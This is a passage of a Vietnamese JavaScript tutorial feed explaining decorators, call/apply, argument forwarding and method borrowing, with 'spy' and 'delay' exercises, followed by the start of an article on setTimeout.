hash<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>worker<span class="token punctuation">.</span><span class="token function">slow</span><span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hoạt động bình thường</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Gọi lại "</span> <span class="token operator">+</span> worker<span class="token punctuation">.</span><span class="token function">slow</span><span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// kết quả từ cache</span></code></pre></div> <p>Ví dụ trên có hai thay đổi là:</p> <ul> <li>Ở <code>(*)</code>: <code>key</code> là kết quả của việc gọi hàm <code>hash(arguments)</code>. Hàm <code>hash</code> đơn giản là ghép hai tham số thành một string bằng dấu phẩy <code>,</code>.</li> <li>Sau đó ở <code>(**)</code>: sử dụng <code>func.call(this, ...arguments)</code> để truyền vào cả giá trị <code>this</code> và tất cả các tham số qua cú pháp spread <code>...</code>.</li> </ul> <h2 id="sử-dụng-funcapply" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-funcapply" aria-label="sử dụng funcapply permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng <code>func.apply</code></h2> <p>Thay vì sử dụng cú pháp <code>func.call(this, ...arguments)</code>, bạn có thể dùng <code>func.apply(this, arguments)</code> với cú pháp đầu đủ là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">func</span><span class="token punctuation">.</span><span class="token function">apply</span><span class="token punctuation">(</span>context<span class="token punctuation">,</span> args<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Phương thức trên gọi hàm <code>func</code> với <code>this=context</code> và tham số đầu vào là <code>args</code> có kiểu dữ liệu <strong>array-like</strong>.</p> <p>Khác nhau cơ bản giữa <code>func.apply</code> và <code>func.call</code> là ở cách truyền tham số:</p> <ul> <li><code>func.apply</code>: nhận tham số đầu vào dạng <strong>array-like</strong>.</li> <li><code>func.call</code>: nhận vào là một danh sách các tham số.</li> </ul> <blockquote> <p>Có thể bạn quan tâm: <a href="/phan-biet-call-apply-va-bind-trong-javascript/">Phân biệt call, apply và bind</a>.</p> </blockquote> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">func</span><span class="token punctuation">.</span><span class="token function">call</span><span class="token punctuation">(</span>context<span class="token punctuation">,</span> <span class="token operator">...</span>args<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">func</span><span class="token punctuation">.</span><span class="token function">apply</span><span class="token punctuation">(</span>context<span class="token punctuation">,</span> args<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trong hai cách gọi trên, <code>func.apply</code> có vẻ nhanh hơn, bởi vì JavaScript Engine tối ưu cách này hơn.</p> <p>Ngoài ra, cách chuyển hết các tham số từ hàm này sang hàm khác gọi là <strong>kỹ thuật forwarding</strong>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token function-variable function">wrapper</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token function">func</span><span class="token punctuation">.</span><span class="token function">apply</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">,</span> arguments<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Khi hàm <code>wrapper</code> được gọi, thực chất hàm này lại chuyển hết tham số sang hàm <code>func</code> để gọi hàm <code>func</code>.</p> <h2 id="kỹ-thuật-mượn-phương-thức" style="position:relative;"><a href="#k%E1%BB%B9-thu%E1%BA%ADt-m%C6%B0%E1%BB%A3n-ph%C6%B0%C6%A1ng-th%E1%BB%A9c" aria-label="kỹ thuật mượn phương thức permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kỹ thuật mượn phương thức</h2> <p>Hàm <code>hash</code> bên trên đang chỉ xử lý trường hợp có <strong>hai tham số đầu vào</strong>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">hash</span><span class="token punctuation">(</span><span class="token parameter">args</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> args<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">+</span> <span class="token string">","</span> <span class="token operator">+</span> args<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Nhưng tốt hơn hết là hàm <code>hash</code> hoạt động được với <strong>số lượng tham số tùy ý</strong>. Và cách sử dụng cơ bản nhất là sử dụng phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/join"><code>arr.join</code></a>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">hash</span><span class="token punctuation">(</span><span class="token parameter">args</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> args<span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Tuy nhiên, cách trên lại không dùng được. Bởi vì cách gọi <code>hash(arguments)</code> trước đó lại truyền vào tham số <code>arguments</code> vừa là <a href="/iterable-la-gi-iterable-trong-javascript/">iterable object</a> và vừa là array-like, nhưng <strong>không phải array</strong>.</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">hash</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arguments<span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="token punctuation">}</span> <span class="token function">hash</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token comment">// Uncaught TypeError: arguments.join is not a function</span></span></code></pre></div> <p>Để giải quyết vấn đề trên, bạn có thể sửa lại như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">hash</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">.</span><span class="token function">call</span><span class="token punctuation">(</span>arguments<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1,2</span></span><span class="token punctuation">}</span> <span class="token function">hash</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Cách trên gọi là <strong>kỹ thuật mượn phương thức</strong> - borrowing method.</p> <p>Cụ thể là mình đã mượn phương thức <code>[].join</code> của mảng <code>[]</code> và sử dụng <code>[].join.call</code> với context là <code>this=arguments</code>.</p> <h2 id="decorator-và-thuộc-tính-của-hàm" style="position:relative;"><a href="#decorator-v%C3%A0-thu%E1%BB%99c-t%C3%ADnh-c%E1%BB%A7a-h%C3%A0m" aria-label="decorator và thuộc tính của hàm permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Decorator và thuộc tính của hàm</h2> <p>Nhìn chung, việc sử dụng decorator thể thay thế hàm hoặc phương thức của object là an toàn, ngoại trừ một trường hợp. Nếu hàm gốc sử dụng kiểu <a href="/function-object-trong-javascript/">function object</a>, nghĩa là có thuộc tính, kiểu <code>func.calledCount</code>.</p> <p>Nếu truyền hàm <code>func</code> trên qua decorator thì hàm wrapper sẽ không có thuộc tính <code>calledCount</code>. Vì thực chất là decorator đã tạo ra một hàm mới.</p> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p><strong>Kĩ thuật decorator</strong> là cách tạo ra hàm wrapper chứa hàm gốc và bổ sung thêm một số tính năng khác, với ưu điểm:</p> <ul> <li>Thêm các tính năng vào hàm gốc mà không làm phức tạp logic của hàm gốc.</li> <li>Có thể tách biệt code để sử dụng lại.</li> <li>Và có thể kết hợp nhiều hàm decorator với nhau.</li> </ul> <p>Để triển khai decorator, bạn có thể sử dụng các phương thức:</p> <ul> <li><code>func.call(context, ...args)</code> để gọi hàm <code>func</code> với <code>this=context</code> và các tham số <code>args</code>.</li> <li><code>func.apply(context, args)</code> để gọi hàm <code>func</code> với <code>this=context</code> và tham số <code>args</code> kiểu array-like.</li> </ul> <p><strong>Kỹ thuật forwarding</strong> là cách chuyển toàn bộ tham số từ hàm này sang hàm khác:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token function-variable function">wrapper</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token function">original</span><span class="token punctuation">.</span><span class="token function">apply</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">,</span> arguments<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p><strong>Kỹ thuật mượn phương thức</strong> là cách mượn phương thức của một object và gọi nó với object khác. Phổ biến nhất là cách lấy các phương thức hàm để áp dụng cho kiểu array-like như đối tượng <code>arguments</code>.</p> <h2 id="thực-hành" style="position:relative;"><a href="#th%E1%BB%B1c-h%C3%A0nh" aria-label="thực hành permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thực hành</h2> <h3 id="bài-1" style="position:relative;"><a href="#b%C3%A0i-1" aria-label="bài 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 1</h3> <p>Viết hàm decorator <code>spy(func)</code> trả về hàm wrapper giúp lưu lại tất cả các tham số của các lời gọi hàm, ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">work</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a <span class="token operator">+</span> b<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="gatsby-highlight-code-line">work <span class="token operator">=</span> <span class="token function">spy</span><span class="token punctuation">(</span>work<span class="token punctuation">)</span><span class="token punctuation">;</span></span> <span class="token function">work</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span> <span class="token function">work</span><span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 9</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> args <span class="token keyword">of</span> work<span class="token punctuation">.</span>calls<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"call:"</span> <span class="token operator">+</span> args<span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// "call:1,2", "call:4,5"</span> <span class="token punctuation">}</span></code></pre></div> <div class="wrap-collapsible margin-bottom"> <input id="collapsible1" class="toggle" type="checkbox"> <label for="collapsible1" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">work</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a <span class="token operator">+</span> b<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="gatsby-highlight-code-line"><span class="token keyword">function</span> <span class="token function">spy</span><span class="token punctuation">(</span><span class="token parameter">func</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">function</span> <span class="token function">f</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token comment">// push vào mảng các tham số</span></span><span class="gatsby-highlight-code-line"> f<span class="token punctuation">.</span>calls<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token operator">...</span>arguments<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"></span><span class="gatsby-highlight-code-line"> <span class="token comment">// forwarding lại về hàm func</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> <span class="token function">func</span><span class="token punctuation">.</span><span class="token function">apply</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">,</span> arguments<span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span></span><span class="gatsby-highlight-code-line"></span><span class="gatsby-highlight-code-line"> <span class="token comment">// khai báo thuộc tính hàm</span></span><span class="gatsby-highlight-code-line"> f<span class="token punctuation">.</span>calls <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"></span><span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> f<span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"><span class="token punctuation">}</span></span> work <span class="token operator">=</span> <span class="token function">spy</span><span class="token punctuation">(</span>work<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">work</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span> <span class="token function">work</span><span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 9</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> args <span class="token keyword">of</span> work<span class="token punctuation">.</span>calls<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"call:"</span> <span class="token operator">+</span> args<span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// "call:1,2", "call:4,5"</span> <span class="token punctuation">}</span></code></pre></div> </div> </div> </div> <h3 id="bài-2" style="position:relative;"><a href="#b%C3%A0i-2" aria-label="bài 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 2</h3> <p>Viết hàm decorator <code>delay(f, ms)</code> trì hoãn lại gọi hàm <code>f</code> sau <code>ms</code> mili giây, ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">f</span><span class="token punctuation">(</span><span class="token parameter">x</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// hàm wrapper</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> f1000 <span class="token operator">=</span> <span class="token function">delay</span><span class="token punctuation">(</span>f<span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"><span class="token keyword">let</span> f1500 <span class="token operator">=</span> <span class="token function">delay</span><span class="token punctuation">(</span>f<span class="token punctuation">,</span> <span class="token number">1500</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span> <span class="token function">f1000</span><span class="token punctuation">(</span><span class="token string">"test"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hiển thị "test" sau 1000ms</span> <span class="token function">f1500</span><span class="token punctuation">(</span><span class="token string">"test"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hiển thị "test" sau 1500ms</span></code></pre></div> <div class="wrap-collapsible margin-bottom"> <input id="collapsible2" class="toggle" type="checkbox"> <label for="collapsible2" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">f</span><span class="token punctuation">(</span><span class="token parameter">x</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="gatsby-highlight-code-line"><span class="token keyword">function</span> <span class="token function">delay</span><span class="token punctuation">(</span><span class="token parameter">func<span class="token punctuation">,</span> ms</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">func</span><span class="token punctuation">.</span><span class="token function">apply</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">,</span> arguments<span class="token punctuation">)</span><span class="token punctuation">,</span> ms<span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"><span class="token punctuation">}</span></span> <span class="token comment">// hàm wrapper</span> <span class="token keyword">let</span> f1000 <span class="token operator">=</span> <span class="token function">delay</span><span class="token punctuation">(</span>f<span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> f1500 <span class="token operator">=</span> <span class="token function">delay</span><span class="token punctuation">(</span>f<span class="token punctuation">,</span> <span class="token number">1500</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">f1000</span><span class="token punctuation">(</span><span class="token string">"test"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hiển thị "test" sau 1000ms</span> <span class="token function">f1500</span><span class="token punctuation">(</span><span class="token string">"test"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hiển thị "test" sau 1500ms</span></code></pre></div> </div> </div> </div> <p>Tham khảo: <a href="https://javascript.info/call-apply-decorators">Decorators and forwarding, call/apply</a></p>[email protected]<![CDATA[Hàm setTimeout trong JavaScript]]><![CDATA[Đôi khi bạn cần phải thực hiện hành động sau một khoảng thời gian nhất định. Để thực hiện điều này, bạn có thể sử dụng phương thức setTimeout. Sau đây là cách khai báo và sử dụng…]]>https://completejavascript.com/ham-settimeout-trong-javascript/https://completejavascript.com/ham-settimeout-trong-javascript/<![CDATA[Hàm]]>Mon, 19 Jun 2017 06:20:00 GMT<p>Đôi khi bạn cần phải thực hiện hành động <strong>sau một khoảng thời gian</strong> nhất định. Để thực hiện điều này, bạn có thể sử dụng phương thức <code>setTimeout</code>. Sau đây là cách khai báo và sử dụng <strong>setTimeout trong JavaScript</strong>.</p> <h2 id="hàm-settimeout-trong-javascript" style="position:relative;"><a href="#h%C3%A0m-settimeout-trong-javascript" aria-label="hàm settimeout trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hàm setTimeout trong JavaScript</h2> <p>Cú pháp hàm <code>setTimeout</code> là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> timerId <span class="token operator">=</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span>func<span class="token operator">|</span>code<span class="token punctuation">,</span> <span class="token punctuation">[</span>delay<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span>arg1<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span>arg2<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token operator">...</span><span class="token punctuation">)</span></code></pre></div> <p>Trong đó:</p> <ul> <li><code>func|code</code>: là hàm hoặc string mô tả code để thực thi. Cách sử dụng thông thường là <strong>hàm</strong>. Cách sử dụng <strong>string</strong> được phép nhưng không khuyến khích.</li> <li><code>delay</code>: là <strong>thời gian trì hoãn</strong> trước khi hành động được thực hiện, tính theo <strong>mili giây</strong>. Giá trị mặc định của <code>delay</code> là <code>0</code>.</li> <li><code>arg1, arg2,...</code>: là danh sách các tham số truyền vào hàm.</li> </ul> <p>Ví dụ đoạn code sau gọi hàm <code>sayHi</code> sau 1 giây:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="gatsby-highlight-code-line"><span class="token function">setTimeout</span><span class="token punctuation">(</span>sayHi<span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello</span></span></code></pre></div> <p>Ví dụ với tham số truyền vào hàm:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token parameter">message<span class="token punctuation">,</span> who</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>message<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">, </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>who<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="gatsby-highlight-code-line"><span class="token function">setTimeout</span><span class="token punctuation">(</span>sayHi<span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">,</span> <span class="token string">"Hello"</span><span class="token punctuation">,</span> <span class="token string">"Alex"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello, Alex</span></span></code></pre></div> <p>Nếu <strong>tham số đầu tiên là string</strong>, JavaScript engine sẽ <a href="/cu-phap-new-function-trong-javascript/">tạo hàm từ string</a> đó để thực thi, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token string">"console.log('Hello')"</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token 